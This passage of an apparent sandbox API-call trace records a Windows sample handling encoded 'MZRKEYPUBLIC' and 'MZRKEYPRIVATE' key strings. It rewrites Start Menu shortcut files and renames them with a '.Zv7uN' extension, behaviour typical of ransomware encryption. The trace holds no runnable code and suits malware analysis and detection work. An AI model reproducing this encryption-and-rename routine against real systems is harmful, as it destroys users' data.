IsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0129.549] GetCurrentThreadId () returned 0xa30 [0129.549] GetCurrentThreadId () returned 0xa30 [0129.549] GetCurrentThreadId () returned 0xa30 [0129.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.550] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.550] GetCurrentThreadId () returned 0xa30 [0129.550] GetCurrentThreadId () returned 0xa30 [0129.550] GetCurrentThreadId () returned 0xa30 [0129.550] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\windows update.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0129.550] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0129.550] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0129.551] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x4f2 [0129.551] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0129.551] ReadFile (in: hFile=0x120, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x4f2, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f96c*=0x4f2, lpOverlapped=0x0) returned 1 [0129.554] CloseHandle (hObject=0x120) returned 1 [0129.554] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\windows update.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0129.556] WriteFile (in: hFile=0x120, lpBuffer=0x1f1ae00*, nNumberOfBytesToWrite=0x4f2, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f1ae00*, lpNumberOfBytesWritten=0x18f978*=0x4f2, lpOverlapped=0x0) returned 1 [0129.558] CloseHandle (hObject=0x120) returned 1 [0129.558] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\windows update.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Windows Update.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\windows update.lnk.zv7un")) returned 1 [0129.559] GetCurrentThreadId () returned 0xa30 [0129.559] GetCurrentThreadId () returned 0xa30 [0129.559] GetCurrentThreadId () returned 0xa30 [0129.559] GetCurrentThreadId () returned 0xa30 [0129.559] GetCurrentThreadId () returned 0xa30 [0129.559] GetCurrentThreadId () returned 0xa30 [0129.559] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0129.559] GetLastError () returned 0x12 [0129.560] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0129.560] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x617e8dc0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x617e8dc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0129.560] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0129.560] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0129.560] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x617e8dc0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x617e8dc0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0129.560] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0129.560] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0129.560] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x617c2c60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="Default Programs.lnk.Zv7uN", cAlternateFileName="DEFAUL~1.ZV7")) returned 1 [0129.560] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0129.560] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0129.560] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0129.560] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x67b0e38b, dwReserved1=0xba1113e9, cFileName="Programs", cAlternateFileName="")) returned 1 [0129.560] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0129.561] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0129.561] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0129.561] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0129.561] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0129.561] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0129.561] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0129.561] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0129.561] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0129.561] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989)) returned 1 [0129.562] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\adobe reader x.lnk")) returned 0x20 [0129.562] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Adobe Reader X.lnk", dwFileAttributes=0x80) returned 1 [0129.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 